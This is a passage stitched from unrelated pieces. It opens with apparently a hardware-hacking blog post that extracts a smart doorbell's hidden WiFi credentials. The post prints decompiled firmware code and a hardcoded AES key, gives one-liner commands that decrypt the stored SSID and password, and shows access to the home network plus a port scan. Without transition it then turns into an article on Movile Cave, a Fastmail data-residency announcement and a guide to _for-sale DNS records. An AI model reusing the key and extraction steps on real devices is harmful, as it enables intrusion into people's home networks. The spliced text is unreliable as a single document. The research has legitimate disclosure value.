When I dumped the flash memory the doorbell was previously synced with my homebase, so I knew it contained somewhere the hidden network credentials. But unfortunately I could not find any reference searching for the string “OCEAN” which was odd. To paraphrase vx-underground I started again to poke with a stick the ELF I analyzed to see if this config was used at some point. After searching for keywords I ended on this function:

undefined4 FUN_0001f8ac(int param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4)

{
  bool bVar1;
  int iVar2;
  int iVar3;
  size_t sVar4;
  size_t __n;
  int iVar5;
  
  FUN_0001a80c(1,"save parameter.",param_3,param_4,param_1,param_2);
  iVar2 = open((char *)(param_1 + 0x517a),0x41,0x1a4);
  if (iVar2 < 0) {
    FUN_0001a80c(3,"writeConfig can\'t open config file(%s).",(char *)(param_1 + 0x517a));
    iVar2 = open((char *)(param_1 + 0x81d30),0x41,0x1a4);
    if (iVar2 < 0) goto LAB_0001f918;
    bVar1 = true;
  }
  else {
    bVar1 = false;
  }
  iVar5 = param_1 + 0x5894;
  iVar3 = FUN_0003b604(param_1 + 0x540f,iVar5);
  if (iVar3 < 0) {
    FUN_0001a80c(3,"writeConfig setEncryptkey Fail");
    FUN_0001a80c(3,"write parameter fail");
    printf("write parameter fail");
    close(iVar2);
    return 0;
  }
  memset(&DAT_002cb989,0,0xc01);
  iVar3 = FUN_0001e330(iVar5,param_1 + 0x5046,0xa6,&DAT_002cb98b);
  __n = iVar3 + 2;
  DAT_002cb989 = (undefined2)iVar3;
  sVar4 = write(iVar2,&DAT_002cb989,__n);
  if (__n == sVar4) {
    FUN_0001a80c(2,"write parameter succ (%d)(%d)",__n,0xa6);
    printf("write parameter succ (%d)(%d)",__n,0xa6);
  }
  else {
    FUN_0001a80c(3,"write config file fail.(%d)(%d)",sVar4,__n);
  }
  fsync(iVar2);
  close(iVar2);
  sync();
  if (!bVar1) {
    iVar2 = open((char *)(param_1 + 0x81d30),0x41,0x1a4);
    if (iVar2 < 0) {
LAB_0001f918:
      FUN_0001a80c(3,"writeConfig can\'t open config bak file(%s).",param_1 + 0x81d30);
      return 0;
    }
    memset(&DAT_002cb989,0,0xc01);
    iVar3 = FUN_0001e330(iVar5,param_1 + 0x5046,0xa6,&DAT_002cb98b);
    __n = iVar3 + 2;
    DAT_002cb989 = (undefined2)iVar3;
    sVar4 = write(iVar2,&DAT_002cb989,__n);
    if (__n == sVar4) {
      FUN_0001a80c(2,"write parameter bak succ (%d)(%d)",__n,0xa6);
      printf("write parameter bak succ (%d)(%d)",__n,0xa6);
    }
    else {
      FUN_0001a80c(3,"write config bak file fail.(%d)(%d)",sVar4,__n);
    }
    fsync(iVar2);
    close(iVar2);
    sync();
  }
  if (*(code **)(param_1 + 0x5acc) != (code *)0x0) {
    (**(code **)(param_1 + 0x5acc))(0x6d,&DAT_002cb989,0,0,__n);
  }
  return 1;
}

if FUN_0003b604 returns something below 0 it logs a error message indicating setEncryptKey Fail

int FUN_0003b604(char *param_1,undefined4 param_2)

{
  size_t sVar1;
  int iVar2;
  
  sVar1 = strlen(param_1);
  if (sVar1 == 0x10) {
    iVar2 = FUN_0012f748(param_2,param_1,0x80);
    if (-1 < iVar2) {
      return iVar2;
    }
    FUN_0001a80c(1,"set_encrypt_key fail \n");
  }
  else {
    FUN_0001a80c(1,"KEY len err! %d ",sVar1);
  }
  return -1;
}

That 0x80 it’s a good clue that FUN_0012f748 it’s gonna be AES-128 but just in case I copied the function content to ChatGPT and it confirmed my hypothesis:

FUN_0012f748 creates an AES encryption key schedule from a supplied 128-, 192-, or 256-bit key: it validates the key size, records the corresponding number of AES rounds, copies the original key words, and expands them into all round keys using AES substitutions and round constants.

Pulling more this thread I found the function in charge of build the key:

void FUN_0001e184(int param_1)

{
  size_t sVar1;
  undefined4 uVar2;
  char *pcVar3;
  char *pcVar4;
  undefined4 *puVar5;
  undefined4 local_4c [16];
  undefined1 local_c;
  
  puVar5 = local_4c;
  local_c = 0;
  pcVar4 = "abcdefghijklmnopqrstuvwxyz0123456789~_ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  do {
    pcVar3 = pcVar4 + 8;
    uVar2 = *(undefined4 *)(pcVar4 + 4);
    *puVar5 = *(undefined4 *)pcVar4;
    puVar5[1] = uVar2;
    puVar5 = puVar5 + 2;
    pcVar4 = pcVar3;
  } while (pcVar3 != "");
  FUN_0001d17c(local_4c);
  pcVar4 = (char *)(param_1 + 0x540f);
  pcVar4[0] = '\0';
  pcVar4[1] = '\0';
  pcVar4[2] = '\0';
  pcVar4[3] = '\0';
  *(undefined4 *)(param_1 + 0x5413) = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0x4);
  *(undefined4 *)(param_1 + 0x5417) = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0xc);
  *(undefined4 *)(param_1 + 0x5418) = 0;
  *(undefined4 *)(param_1 + 0x541c) = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0x4);
  FUN_0001deb8(local_4c,pcVar4);
  sVar1 = strlen(pcVar4);
  FUN_0001a80c(1,"getKeyC(%d)",sVar1);
  return;
}

The long string abc…XYZ (64 bytes) is passed to FUN_0001d17c which applies a classic XOR with a repeating group of three bytes (0x01, 0x04, 0x06).

char * FUN_0001d17c(char *param_1,undefined4 param_2,undefined4 param_3)

{
  size_t sVar1;
  int extraout_r1;
  uint uVar2;
  undefined3 local_14;
  undefined1 uStack_11;
  undefined4 uStack_10;
  
  _local_14 = CONCAT13((char)((uint)param_2 >> 0x18),0x60401);
  uStack_10 = param_3;
  for (uVar2 = 0; sVar1 = strlen(param_1), uVar2 < sVar1; uVar2 = uVar2 + 1) {
    FUN_00213228(uVar2,3);
    param_1[uVar2] = *(byte *)((int)&local_14 + extraout_r1) ^ param_1[uVar2];
  }
  return param_1;
}

Then the resulting 65-byte string (64 byte xored with pattern + 1 null byte) is passed to FUN_0001deb8, which we can infer is doing a MD5 hash based on the constants. Although it just returns 8 bytes (16 hex chars):

void FUN_0001deb8(undefined4 param_1,char *param_2)

{
  byte *pbVar1;
  char *__s;
  char *pcVar2;
  byte abStack_80 [16];
  undefined4 local_70;
  undefined4 local_6c;
  undefined4 local_68;
  undefined4 uStack_64;
  undefined4 local_60;
  undefined4 uStack_5c;
  
  local_70 = 0;
  local_68 = 0x67452301;
  uStack_64 = 0xefcdab89;
  local_6c = 0;
  local_60 = 0x98badcfe;
  uStack_5c = 0x10325476;
  FUN_0001dda4(&local_70,param_1,0x41);
  FUN_0001de4c(&local_70,abStack_80);
  pbVar1 = abStack_80;
  __s = param_2;
  do {
    pcVar2 = __s + 2;
    sprintf(__s,"%02X",(uint)*pbVar1);
    pbVar1 = pbVar1 + 1;
    __s = pcVar2;
  } while (pcVar2 != param_2 + 0x10);
  param_2[0x10] = '\0';
  return;
}

This gives us the string used as key to encrypt/decrypt the configutation file: C0C714B43806EF49 => 43304337313442343338303645463439. It’s derived from hardcoded data, so it should be the same between devices.

The encrypted file (called es_config) was in my case the following:

=> xxd es_config
00000000: b000 b622 0971 cee1 c1b5 0ecc d749 4e58  ...".q.......INX
00000010: e11d 1f8d 6769 ed50 9f19 fb1e eaf7 c33b  ....gi.P.......;
00000020: 5463 9269 fdde 70cc bf18 71a0 19df c33a  Tc.i..p...q....:
00000030: ed48 6c31 061a efa9 68de c7e2 eb93 b00a  .Hl1....h.......
00000040: 39be 83ce ecf6 0158 6717 4a08 a8eb 249e  9......Xg.J...$.
00000050: 33af 83ce ecf6 0158 6717 4a08 a8eb 249e  3......Xg.J...$.
00000060: 33af 22e3 f819 b5f1 e581 a605 83ff e623  3."............#
00000070: 6a1a 45ee 48c1 e43a 1719 1c24 8bf9 0657  j.E.H..:...$...W
00000080: 611b 952e 365a 740a 6f0e 3692 39b8 2490  a...6Zt.o.6.9.$.
00000090: 516a 83ce ecf6 0158 6717 4a08 a8eb 249e  Qj.....Xg.J...$.
000000a0: 33af 83ce ecf6 0158 6717 4a08 a8eb 249e  3......Xg.J...$.
000000b0: 33af                                     3.

And after decrypting it we can see our OCEAN_XXXXXX SSID and its password:

=> tail -c +3 es_config | openssl enc -aes-128-ecb -d -nopad -K 43304337313442343338303645463439 |xxd
00000000: 5354 5344 4b00 0000 0100 4f43 4541 4e5f  STSDK.....OCEAN_
00000010: 4539 4135 4643 0000 0000 0000 0000 0000  E9A5FC..........
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 4631 5653 5866  ..........F1VSXf
00000040: 4e51 4c5f 5a43 6433 6b00 0000 0000 0000  NQL_ZCd3k.......
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 c0a8 2005 0000  ............ ...
00000070: 0001 0203 0405 0607 0809 0a0b 0c0d 0e0f  ................
00000080: 0000 0004 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................

Instead of carving and extracting all the files in the firmware, once I identified the existence of this es_config encrypted file I “semi” automatized its extraction. First we extract the mtdparts variables used by U-Boot from the flash dump:

=> firmware_doorbell.bin|grep mtdparts
Imtdparts=sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)
mtdparts
mtdparts=
loglevel=0 rootfstype=erofs rootflags=dax console=ttyFIQ0 root=/dev/rd0 snd_soc_core.prealloc_buffer_size_kbytes=16 coherent_pool=0 driver_async_probe=dwmmc_rockchip rk_dma_heap_cma=22M mtdparts=sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)

Then we copy the content after “=” and use this one-liner to extract the filesystem into /tmp/user.bin:

mtdparts='sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)'; part=user; eval $(echo "$mtdparts" | awk -v p="$part" 'function cv(x){if(x~/K$/)return substr(x,1,length(x)-1)*1024;if(x~/M$/)return substr(x,1,length(x)-1)*1048576;if(x~/G$/)return substr(x,1,length(x)-1)*1073741824;return x}{split($0,a,":");n=split(a[2],b,",");o=0;for(i=1;i<=n;i++){split(b[i],c,"[()]");split(c[1],d,"@");s=cv(d[1]);if(d[2])o=cv(d[2]);if(c[2]==p){print "skip="o" count="s;exit}o+=s}}'); dd if=firmware_doorbell.bin of=/tmp/$part.bin bs=1 skip=$skip count=$count

=> file /tmp/user.bin
/tmp/user.bin: Linux jffs2 filesystem data little endian

Finaly just use jffs2reader to extract the config file (and decrypt it).

=> jffs2reader /tmp/user.bin -f /es_config | tail -c +3 | openssl enc -aes-128-ecb -d -nopad -K 43304337313442343338303645463439 |xxd
00000000: 5354 5344 4b00 0000 0100 4f43 4541 4e5f  STSDK.....OCEAN_
00000010: 4539 4135 4643 0000 0000 0000 0000 0000  E9A5FC..........
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 4631 5653 5866  ..........F1VSXf
00000040: 4e51 4c5f 5a43 6433 6b00 0000 0000 0000  NQL_ZCd3k.......
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 c0a8 2005 0000  ............ ...
00000070: 4242 4242 3346 3138 3746 3343 3631 3537  BBBB3F187F3C6157
00000080: 0000 0006 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0100 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................

If someone has access to a doorbell, and nothing alerted the owner because it was jammed as we shown before, in 5 minutes can manipulate it to dump its flash memory and extract the hidden network credentials. Or well, just steal it and dump it at home. As I explained at the begining of this journey, the homebase network is not isolated. If you connect to this wifi you can browser internet using the home network and also you can reach other devices (like the router) in the home network:

=> iwconfig
lo        no wireless extensions.

eno1      no wireless extensions.

wlp1s0    IEEE 802.11  ESSID:"OCEAN_E9A5FC"  
          Mode:Managed  Frequency:2.437 GHz  Access Point: 90:BF:D9:E9:A5:FC   
          Bit Rate=130 Mb/s   Tx-Power=22 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          Link Quality=67/70  Signal level=-43 dBm  
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

virbr0    no wireless extensions.

tailscale0  no wireless extensions.

docker0   no wireless extensions.

3: wlp1s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 18:26:49:11:82:9e brd ff:ff:ff:ff:ff:ff
    inet 192.168.32.100/24 brd 192.168.32.255 scope global dynamic noprefixroute wlp1s0
       valid_lft 86368sec preferred_lft 86368sec
    inet6 fe80::8339:84a3:5f01:ad64/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

=> ping google.es
PING google.es (216.58.204.195) 56(84) bytes of data.
64 bytes from lcmadb-ah-in-f3.1e100.net (216.58.204.195): icmp_seq=1 ttl=117 time=37.7 ms
64 bytes from lcmadb-ah-in-f3.1e100.net (216.58.204.195): icmp_seq=2 ttl=117 time=42.5 ms
^C
--- google.es ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 37.683/40.087/42.492/2.404 ms

Some testing devices/platforms I could reach that are deployed at the same router than the Homebase:

=> curl -I 192.168.90.1
HTTP/1.1 200 OK
Connection: Keep-Alive
Keep-Alive: timeout=20
ETag: "18c-1ef-5687f92e"
Last-Modified: Sat, 02 Jan 2016 16:22:06 GMT
Date: Tue, 28 Jul 2026 20:13:45 GMT
Content-Type: text/html
Content-Length: 495

=> curl -I 192.168.51.151
HTTP/1.1 302 Found
Server: nginx
Date: Tue, 28 Jul 2026 20:14:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Cache-Control: no-cache
Content-Security-Policy: 
Location: http://192.168.1.201/users/sign_in
Nel: {"max_age": 0}
Permissions-Policy: interest-cohort=()
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Gitlab-Meta: {"correlation_id":"01KYN5SXMW6YDPK131DD9G3X88","version":"1"}
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01KYN5SXMW6YDPK131DD9G3X88
X-Runtime: 0.040059
X-Ua-Compatible: IE=edge
X-Xss-Protection: 0
Strict-Transport-Security: max-age=63072000
Referrer-Policy: strict-origin-when-cross-origin

Of course this Wifi allows to interact with network services exposed by the Homebase itself… although I’ll research more this side once I can dump the firmware }:P

Not shown: 65341 closed tcp ports (conn-refused)
PORT      STATE SERVICE     REASON  VERSION
53/tcp    open  domain      syn-ack dnsmasq 2.90
554/tcp   open  rtsp        syn-ack
9000/tcp  open  cslistener? syn-ack
10400/tcp open  unknown     syn-ack
10402/tcp open  unknown     syn-ack
10404/tcp open  unknown     syn-ack
10600/tcp open  tcpwrapped  syn-ack
20030/tcp open  unknown     syn-ack
20031/tcp open  unknown     syn-ack
32290/tcp open  tcpwrapped  syn-ack
32292/tcp open  tcpwrapped  syn-ack
32293/tcp open  unknown     syn-ack
32295/tcp open  unknown     syn-ack
32392/tcp open  tcpwrapped  syn-ack
43928/tcp open  unknown     syn-ack

0x05 Final words

It has been two years since I last wrote on this blog. During that time, I’ve done some research, but it was always related to my work as a Red Teamer (and, honestly, it had become increasingly dismal). Being able to rediscover the feeling of “hacking” something just for fun, and spending hours researching purely for the joy of learning, has been amazing. I’ve reconnected with my old inner owl.

I hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

Limestone cave

Source: Wikipedia

Almost everything alive on the surface of this planet runs, ultimately, on sunlight. Plants capture light and turn it into sugar. Animals eat the plants. Other animals eat those animals. Pull the sun out of that equation and nearly every food chain we know collapses within a season. For most of scientific history, this was treated as a basic rule of biology: life needs the sun, if not directly then a few steps removed.

Then, in 1986, workers in southeastern Romania were drilling exploratory boreholes near the Black Sea coast, scouting ground for a proposed power plant. What they found instead was a hole leading down into a cave system that had been sealed off from the outside world for something on the order of five and a half million years, since long before our species existed. The air inside was toxic. There was no light, and there never had been. By every expectation, it should have been an empty stone tomb. Instead, researchers who descended into it found a thriving, complex, interconnected community of living creatures, dozens of species that exist nowhere else on Earth, surviving in permanent darkness on an energy source that has nothing to do with the sun. Here is the story of Movile Cave, the sealed world beneath Romania.

An Accidental Doorway

Limestone cave

Source: Wikipedia

The discovery was pure chance. In the mid-1980s, crews working near the port city of Mangalia, on Romania’s Black Sea coast, were drilling test holes to evaluate the ground for construction. The landscape above gives away nothing: scrubby, dusty farmland, flat and unremarkable, with no dramatic sinkhole or cave mouth to suggest that anything unusual lies beneath. Nobody had any reason to think there was a hidden world under their feet.

But the drilling broke through into a void, and that void turned out to be the entrance to a maze-like network of flooded limestone passages roughly eighteen meters, or about sixty feet, below the surface. Sealed above by thick layers of clay and limestone, the cave had no meaningful connection to the surface world. Rainwater did not seep in. Surface air did not circulate down. The system had been effectively closed since the late Miocene epoch, when the geology of the region shifted and shut the door. When scientists began exploring and studying it, they realized very quickly that this was not an ordinary cave. It was something far rarer: a sealed environment that had been running its own biological experiment, undisturbed, for millions of years, and had been opened by accident.

Proving It Was Really Sealed

Limestone cave

Source: Wikipedia

An obvious question hangs over any claim like this. How can anyone be confident that a cave was truly cut off, that nothing had been trickling in from the surface across all that time? Caves leak. Water finds its way through rock. The assertion that this system had been isolated for millions of years is an extraordinary one, and it needed extraordinary support.

Researchers found an elegant way to test it, and the timing was almost too convenient. The Chernobyl reactor accident occurred in 1986, the same year the cave was discovered, and it spread detectable radioactive isotopes across large areas of Europe, including Romanian soil. Those isotopes became a kind of chemical timestamp on surface water. So scientists tested the water inside the cave for the telltale radioactive signatures of that fallout, and found none of it. Not a trace. Whatever water was down in the cave had not come from the surface, not recently and apparently not for a very long time. It was a striking confirmation that the seal was real: one of the most widely dispersed contamination events in modern history had not penetrated a single drop into this underground world. Combined with the geology and the peculiar chemistry of the cave’s water and air, the evidence pointed to a system that had been closed off since roughly five and a half million years ago.

The Air That Would Not Sustain Us

Source: Wikimedia Commons

Movile Cave is not a place a person can casually visit, and not only because access is tightly restricted and permitted only for approved researchers. The environment inside is deeply hostile to human physiology. The atmosphere in the deeper parts of the system bears very little resemblance to the air at the surface.

Oxygen levels run at roughly half of what our lungs expect. Carbon dioxide is present at concentrations enormously higher than in the outside atmosphere. The air is laced with hydrogen sulfide, the compound responsible for the smell of rotten eggs, and with methane and ammonia. The water in the cave’s pools is warm, murky, low in oxygen, and thick with dissolved chemicals. Researchers who have worked there describe an atmosphere that is acrid and pungent, an environment humans can tolerate only briefly and only with careful precautions. Everything about it reads as inhospitable, the sort of chemistry that appears on a list of reasons a place should be lifeless. And yet those same chemicals turn out to be precisely the reason the cave is not lifeless at all. What makes the air unbreathable for us is the fuel that keeps everything down there alive.

A Food Chain Built on Chemistry

Limestone cave

Source: Wikipedia

The key to Movile Cave is a process called chemosynthesis. Instead of bacteria and plants harvesting energy from light, the microbes at the base of this ecosystem pull energy from chemical reactions, oxidizing compounds like sulfide, methane, and ammonium to build the organic material that everything else depends on. These bacteria form pale, slimy microbial mats that float on the surface of the water and coat the cave walls near the pools. Those mats are the pasture of this underground world.

From there, the food web assembles itself much as it would anywhere else, just without a single photon involved. Small creatures graze the microbial mats. Larger creatures eat the grazers. Predators sit at the top. The whole structure, from the bottom up, is powered by chemistry drawn out of rock and water rather than by sunlight falling on leaves. What made this so significant scientifically is that when Movile was studied, ecosystems running independently of the sun were known essentially from one place: the deep-sea hydrothermal vents discovered on mid-ocean ridges in the late 1970s. Movile added a second, radically different example, a freshwater, land-based version sealed inside continental limestone rather than perched on the ocean floor. It was, as researchers have described it, the first such subterranean ecosystem ever found, and it forced textbook diagrams of how life on Earth is powered to be redrawn.

The Creatures in the Dark

Limestone cave

Source: Wikipedia

The inhabitants of Movile Cave read like the cast of a science fiction story. Surveys have identified somewhere around fifty invertebrate species living in the system, and the striking figure is how many of them exist nowhere else: depending on the survey and the year, roughly thirty-three to thirty-seven of them are endemic, found only in this one cave. They have been evolving in isolation, in the dark, for millions of years, and it shows.

The roster includes spiders, pseudoscorpions, woodlice, centipedes, leeches, snails, water scorpions, and a range of smaller organisms whose classification researchers are still working out. Certain features recur again and again across otherwise unrelated creatures. Most of them are blind, many having lost functional eyes entirely, because eyes are an expensive organ to maintain and useless in a place that has never had light. Most of them are also unpigmented, pale or translucent, since coloration serves little purpose where nothing can be seen. A water scorpion has abandoned eyes altogether. A blind leech swims in water no sunbeam has ever touched. A centipede with serrated hind legs was nicknamed the king of the cave by the scientists who described it. Each of these species is a small demonstration of what evolution does when you remove light from the equation and leave the process running for a few million years.

Why This Cave Matters

Beyond the sheer strangeness of it, Movile Cave has become important to science in its own right, and its significance reaches well past Romania. The cave functions as a natural laboratory for studying how life copes with extreme conditions, and researchers have used it to explore questions ranging from evolutionary biology to microbiology to the chemistry of how organisms process toxic compounds.

Its most intriguing role may be in the search for life elsewhere. An ecosystem that thrives in permanent darkness, in a chemically harsh environment, powered entirely by reactions in rock and water, is a reasonable model for what life might look like beneath the ice of certain moons in our own solar system, or below the surface of Mars. If life exists in such places, it will not be sunbathing; it will be doing something much closer to what the microbes of Movile do. That makes this cave one of the better analogs available for thinking about biology beyond Earth, and it has attracted research interest on exactly those grounds. Access to the cave remains strictly limited, which is entirely appropriate: this is a fragile system that survived untouched for millions of years and could be disrupted easily by careless visitation.

There is something humbling in the whole affair. A crew drilling a routine borehole in an unremarkable field opened a door onto a world that had been sealed since before our species existed, and inside was a complete, functioning community of life that broke one of biology’s assumed rules. It is a reminder that the planet is not finished revealing itself, that discoveries of real consequence can still turn up under a dusty patch of farmland, and that life is substantially more inventive about where and how it survives than we tend to assume. Somewhere beneath the Romanian countryside, in absolute darkness, that ancient experiment is still running.

US or EU? Your choice

Many of you have been telling us that where your email is stored matters to you. There are various reasons for this, like local law, keeping your data close to home, or compliance.

You can now make the European Union the primary home for your Fastmail data, on our own secure servers in Amsterdam. Previously, all accounts were stored entirely in the US. Now you have more choice.

Built by us, not rented from someone else

We’ve installed our own servers, co-located in a secure facility in Amsterdam, set up by our own engineers. This new location is built to the same high standards as our existing infrastructure in Philadelphia and St Louis, with our own hardware and our own software — specified right down to the exact model of disks in each machine.

In all our locations, data is stored encrypted at rest inside locked racks, and managed by our in-house team. We don’t rent computing or management services from a big cloud provider and pass on their assurances. That’s how we’ve approached privacy, reliability, and performance for more than 25 years.

For many years, we have kept at least two copies of everybody’s email on separate servers in their primary location, and at least one more in a geographically separate location to ensure data safety.

Here’s the detail about where your data will flow based on your regional choice.

If your account is in the EU region:

• Your primary copy of data will live in the EU. The main, live copy of your mail and files will sit on our own servers in Amsterdam.
• Incoming mail will go to EU servers by preference if you are using your own domain and Fastmail’s nameservers, or an address at one of Fastmail’s EU-region domains.
• Our desktop, web, and mobile apps will connect to EU servers. Day to day, our apps will talk directly to our Amsterdam infrastructure. If those servers are ever unavailable, connections fall back to one of our US locations so you can still reach your mail.
• Resilient replicas of your data will live in the US (for now). As we only have one location in Europe so far, the geographically separate copy will remain on servers in one of our US locations.

If your account is in the US region:

• Most of your data lives in the US. Both the primary and replica locations of your mail and files will sit on our own servers in Philadelphia or St Louis.
• Incoming mail goes to US servers by preference if you are using your own domain and Fastmail’s nameservers, or an address at one of Fastmail’s US-region domains.
• Our desktop, web, and mobile apps will connect to US servers. Day to day, our apps will talk directly to whichever US location contains your primary data copy. If those servers are ever unavailable, connections fall back to our other US location so you can still reach your mail.

What applies to everyone:

• We favour availability, so if your home location is down, you will temporarily connect to another of our locations so you can continue to access your data.
• If you are using one of Fastmail’s generic non-regional domains then your mail may go in or out via either location.
• Emergency backups for everybody are stored in our Philadelphia location. As well as the live replicas of your data, we also keep a separate set of encrypted backups taken every few hours for every account. These are in Philadelphia for all users at the moment.
• Some data is replicated to all sites, so parts of everyone’s data are in both Europe and America. This includes email addresses and other user/customer metadata, storage for websites and the standalone Files feature, and the details of any third party services you have linked.
• Logs are in the US. All system logs are consolidated into a single place for monitoring system health and to assist with customer support.
• Third party services are shared. The third parties we use for debugging, billing, and support are linked to your account in the same way regardless of your region.
• Your email client config (IMAP/POP3) does not have to change. The generic hostnames will proxy internally to your active server. We’re working on making those terminate at the closest network location. However, we also offer regional server names for each protocol to give you more control over where you connect.
• We’re an Australian company, subject to Australian law including legal-cooperation treaties between Australia and other countries. Wherever your data is stored, we will respond the same way to lawful requests from relevant authorities (see our transparency report).

If what you need is a guarantee that your data remains only in the EU, we don’t have that, and we’d rather tell you directly than let you assume otherwise.

We made a prediction, but you can change it

We pre-selected all the users with billing addresses in or near Europe for the EU region. If you are one of these, an encrypted copy of your data was transferred to Europe in advance of this announcement, and will shortly become your primary copy. You can change region to the US and your data will migrate back.

Conversely, if we didn’t identify you for our initial group, you can put yourself in the queue to be migrated. Moves this way will be a little slower because there’s no copy of the data already in the region, so we have to sync every email across the ocean! For those moving back, there’s already a copy in the US, so only a small amount of data needs to be synchronised to fully reconcile your mailbox.

This blog post is all about giving you the facts and the tools to make the trade-off that’s right for you. Most providers decide for you and tell you as little as they can get away with. We’d rather show our work — what’s replicated, what isn’t, who can compel what — and let you choose with your eyes open.

How it works

When you sign up, you choose your region, and the primary copy of your data is placed on our secure servers in that region, with a copy also replicated to a geographically separate location. Regardless of your choice, all copies of your data are encrypted at rest. Choosing a region changes where your primary copy lives, not how well it’s protected.

If you were with us when we selected the users to transfer, we’ve pre-set your region based on your billing address. If you signed up more recently, you’ll have been allocated to the US. Either way, if you’d prefer a different region, you can switch it in your settings.

Switching region

Go to Settings → Users & Sharing → Team Settings, then look below GDPR for the Data residency section. Pick your location and we’ll move your primary copy for you. You’ll see it go from queued, to transferring, to done, and your account keeps working the whole time. You can change your mind and move back, though we may place reasonable limits on how frequently you can change region!

Your data, your call

We’re really excited to have another location, and to be able to offer this option to you. Setting this up was a significant investment. We considered a surcharge for choosing the EU, but we don’t believe that’s right. We proudly charge a fair rate for an exceptional service, and this choice should be yours. Select the region that is right for you.

If a domain is genuinely for sale, say so in DNS. A TXT record at _for-sale.example.com advertises it to brokers and availability services without taking the site down or parking it.

What it is

_for-sale is a reserved DNS leaf node name, defined by RFC 10023 (Informational, July 2026) and registered with IANA. A TXT record published at _for-sale.example.com signals that example.com, although registered and resolving normally, is available for purchase.

_for-sale IN TXT "v=FORSALE1;furi=https://example.com/for-sale"

The record carries a mandatory version tag followed by at most one tag=value pair:

Tag Meaning Example ftxt= Free human-readable text ftxt=Eligibility criteria apply. furi= Contact or information URI furi=mailto:hq@example.com fval= Asking price, currency + amount fval=EUR2500.00 fcod= Proprietary code, by prior agreement fcod=XX-aHR0cHM...

The wrong belief to clear first is that this is a way of parking a domain. It is close to the opposite. Parking replaces the site with a sales page, which costs you every visitor the domain still has. _for-sale sits beside a live site in DNS and says nothing to a browser: the homepage keeps serving, the mail keeps flowing, and the record can be added and removed at will. RFC 10023 makes the point explicitly — the convention is designed to work while the domain is still in active use.

It is also not the same thing as registration data. WHOIS and RDAP answer “is this name registered?”; a registered name may still be purchasable, and an unregistered one may not be worth having. That gap is the whole reason the convention exists, and it is why brokers and automated availability services are the intended audience rather than people.

Why it matters

The signal a domain owner most wants to send is the one there has never been a channel for. If you are willing to sell, the interested buyer has no way to learn that short of a cold email to a WHOIS contact that privacy redaction has probably removed. Enquiries that would have been welcome never arrive, and the ones that do arrive are indistinguishable from spam.

Putting the signal in DNS rather than on the page is what makes it useful to the parties who can act on it. A broker or an availability service checking a name resolves it anyway; one extra lookup tells them what a rendered page could not, because nothing on a working homepage says “the domain under this is negotiable”. It is externally checkable, costs one record, and carries no risk to the site itself — a browser never sees it.

How to implement

Publish a single TXT record at the _for-sale leaf of the zone you are selling, and only while you mean it.

; Free text
_for-sale IN TXT "v=FORSALE1;ftxt=Serious offers only"

; A URI to negotiate through — https, mailto and tel are the usable schemes
_for-sale IN TXT "v=FORSALE1;furi=https://example.com/fs?d=eHl6"

; An asking price: uppercase currency code, then the amount
_for-sale IN TXT "v=FORSALE1;fval=USD12500"

Rules worth getting right the first time:

• The version tag is mandatory and case-sensitive: every record starts v=FORSALE1;. It exists so a processor can tell a real _for-sale record from an unrelated TXT record that a DNS wildcard happened to expand into that name.
• One tag-value pair per record. To publish a price and a contact URI, publish two records in the same RRset and let the processor pick what it understands. This is not SPF; the pairs do not concatenate.
• One character-string per record, 255 octets maximum, so nothing has to be reassembled during parsing.
• Keep the TTL at 3600 seconds or less. A stale record advertising a price you have withdrawn, or a domain you already sold, is worse than no record.
• Place it at a leaf. _for-sale.example.com is valid at any level of the tree, but xyz._for-sale.example.com is not, and records under .arpa must be ignored — an offer to sell address space is out of scope.
• Remove it when the domain is no longer for sale. The convention has no “not for sale” value; absence is the only way to say no.

Sign the zone with DNSSEC if you can. An unsigned TXT record asserting your domain is for sale, at a price, with a contact URI, is a comfortable thing for someone else to forge.

This site does not ship a _for-sale record: specification.website is not for sale.

Common mistakes

• Cramming several pairs into one record. "v=FORSALE1;fval=EUR2500;furi=https://…" looks reasonable and is not what the format defines. Use one pair per record, multiple records per RRset.
• Publishing it aspirationally. The indicator is only for domains actually available. It is not a marketing banner, and a record that exists to lure enquiries is an abuse the RFC calls out by name.
• Assuming it obliges anyone. Publishing the record does not commit the holder to sell, and an advertised fval= price is indicative — the RFC tells processors to display a disclaimer and never to treat it as a purchase commitment.
